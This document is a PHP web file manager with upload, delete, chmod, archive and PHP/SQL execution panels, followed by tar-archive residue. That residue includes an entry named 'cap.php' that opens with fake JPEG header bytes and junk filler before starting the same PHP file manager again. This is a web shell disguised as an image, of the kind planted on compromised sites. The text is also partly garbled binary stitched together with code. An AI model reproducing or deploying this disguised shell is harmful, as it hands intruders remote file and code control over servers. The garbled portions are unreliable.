        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
